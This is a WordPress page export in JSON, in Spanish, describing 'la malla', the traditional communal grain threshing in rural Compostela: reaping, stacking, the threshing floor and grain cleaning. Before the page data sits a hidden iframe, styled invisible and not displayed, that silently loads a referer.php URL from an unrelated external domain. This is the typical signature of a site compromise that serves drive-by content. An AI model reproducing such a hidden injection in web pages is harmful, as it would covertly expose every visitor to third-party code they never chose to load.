<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":12185,"date":"2017-02-15T12:36:49","date_gmt":"2017-02-15T11:36:49","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=12185\/"},"modified":"2017-02-23T08:50:23","modified_gmt":"2017-02-23T07:50:23","slug":"la-malla-rural-compostela","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/la-malla-rural-compostela\/","title":{"rendered":"La malla en el rural de Compostela"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-5a6a3c67b6460052fa53c9151977d2e7\">\n.avia-section.av-av_section-5a6a3c67b6460052fa53c9151977d2e7{\nbackground-color:#4ecac2;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-5a6a3c67b6460052fa53c9151977d2e7 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_full  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12185'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-99e074be2ce5229b6307ada570aa8d25\">\n#top .av-special-heading.av-av_heading-99e074be2ce5229b6307ada570aa8d25{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-99e074be2ce5229b6307ada570aa8d25 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-99e074be2ce5229b6307ada570aa8d25 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-99e074be2ce5229b6307ada570aa8d25 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-99e074be2ce5229b6307ada570aa8d25 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >La malla en el rural de Compostela<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12185'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-2  el_after_av_section  el_before_av_two_third  avia-builder-el-first  first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>En Galicia la malla era m\u00e1s que un trabajo. Lleg\u00f3 ser uno de los encuentros m\u00e1s esperados del a\u00f1o, ya que no s\u00f3lo trabajaban los due\u00f1os de la finca, sino que se juntaban vecinos y vecinas y familiares. El trabajo finalizaba con una comida comunal y festiva.<\/p>\n<p>En las parroquias que ba\u00f1an el r\u00edo Santa Luc\u00eda y sus afluentes a\u00fan recuerdan con nostalgia las mallas que, desde hace siglos, se vinieron celebrando hasta los a\u00f1os 60-70 del siglo pasado.<\/p>\n<p>Se hac\u00eda a finales de julio o primeros de agosto, cuando m\u00e1s calentaba el sol, y se daban las mejores condiciones para cortar el cereal y secar la paja.<\/p>\n<\/div><\/section><\/div>\n<div class='flex_column_table av-av_two_third-e177638de445d807f9c6df61ff83925e sc-av_two_third av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-e177638de445d807f9c6df61ff83925e\">\n.flex_column.av-av_two_third-e177638de445d807f9c6df61ff83925e{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 10px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_third-e177638de445d807f9c6df61ff83925e av_two_third  avia-builder-el-4  el_after_av_one_full  el_before_av_one_third  first no_margin flex_column_table_cell av-equal-height-column av-align-middle column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: left;\">La siega del cereal (trigo, centeno etc.) se hac\u00eda con la hoz dejando los montones en el canal de la finca unas horas para que secaran al sol. Luego se cog\u00edan los mejores montones, sac\u00e1ndoles las hierbas e igual\u00e1ndolas bien, y se ataban con paja para hacer el mont\u00f3n o atada (\u201cmonllo\u201d en galego). Cuando ten\u00edan varias atadas, cog\u00edan el \u201cvencello\u201d (artilugio de madera con forma de cuerno ) y los ataban de pie en grupos formando pajares (\u201cmedas\u201d en gallego) en la finca. Las \u201cmedas\u201d se sub\u00edan al carro para ser transportadas a la era, donde se levantaban los pajares peque\u00f1os (les llamaban \u201cmedeiros\u201d).<\/p>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-5abf35bc7f35bc3cfd48011fcc4b06ef\">\n.flex_column.av-av_one_third-5abf35bc7f35bc3cfd48011fcc4b06ef{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_third-5abf35bc7f35bc3cfd48011fcc4b06ef av_one_third  avia-builder-el-6  el_after_av_two_third  el_before_av_one_full  no_margin flex_column_table_cell av-equal-height-column av-align-middle column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-4fe3d53aaaf208cb487c237424380305\">\n.avia-image-container.av-av_image-4fe3d53aaaf208cb487c237424380305 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-4fe3d53aaaf208cb487c237424380305 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-4fe3d53aaaf208cb487c237424380305 av-styling- avia-align-center  avia-builder-el-7  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-11327 avia-img-lazy-loading-not-11327 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar-300x199.jpg\" alt='Mallas a secar' title='Mallas a secar'  height=\"199\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar-300x199.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar-768x509.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar-1030x682.jpg 1030w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar-705x467.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar-450x298.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/MallaMedasAsecar.jpg 1123w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div><\/div><!--close column table wrapper. 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Al final, el \u201cmedeiro\u201d resultante se cubr\u00eda con paja para evitar que se mojase el grano. La exposici\u00f3n al sol de los \u201cmedeiros\u201d facilitaba que el grano se soltara mejor en la malla.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Luego se separaba la paja y el cereal se med\u00eda y se limpiaba con cribos diversos que eliminaban los restos de paja, polvo y arenas que pudieran quedar. \u00abLimpio de polvo y paja\u00bb\u00a0 es una frase relacionada con la malla que data del medievo, cuando los se\u00f1ores exig\u00edan que el grano se les entregase limpio de todo. Una vez que el grano est\u00e1 limpio se guarda en arcas a la espera de llevarlo a moler al molino a medida que se vaya precisando para hacer pan, empanadas y dulces.<\/p>\n<p>La malla fue desapareciendo en los a\u00f1os 60 del pasado siglo.<\/p>\n<p>A finales del verano se hac\u00eda el deshojado. Deshojar era la operaci\u00f3n de limpiar las mazorcas de ma\u00edz de las hojas que las envuelven. Con estas hojas secas, tiempo atr\u00e1s se confeccionaban los colchones para dormir, que se renovaban todos los a\u00f1os<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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En aquel rural nada se desperdiciaba.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Se hace sobre un suelo preparado para la malla, llamado era. D\u00edas antes de la malla, se preparaba al aire libre un terreno aplanado y limpio, en el que echaban el \u00abmanlli\u00bb, una mezcla de bosta de vaca con agua creando una pasta que se dejaba secar hasta que se endurec\u00eda a modo de una especie de cemento, para recoger el grano y que no se mezclara con las piedras y arena del suelo. La era deb\u00eda estar en un lugar de la casa, si era individual, o de la aldea, si era comunitaria, bien soleado y aireado, para que secaran bien las medas y poder limpiar el grano en la operaci\u00f3n de aireado.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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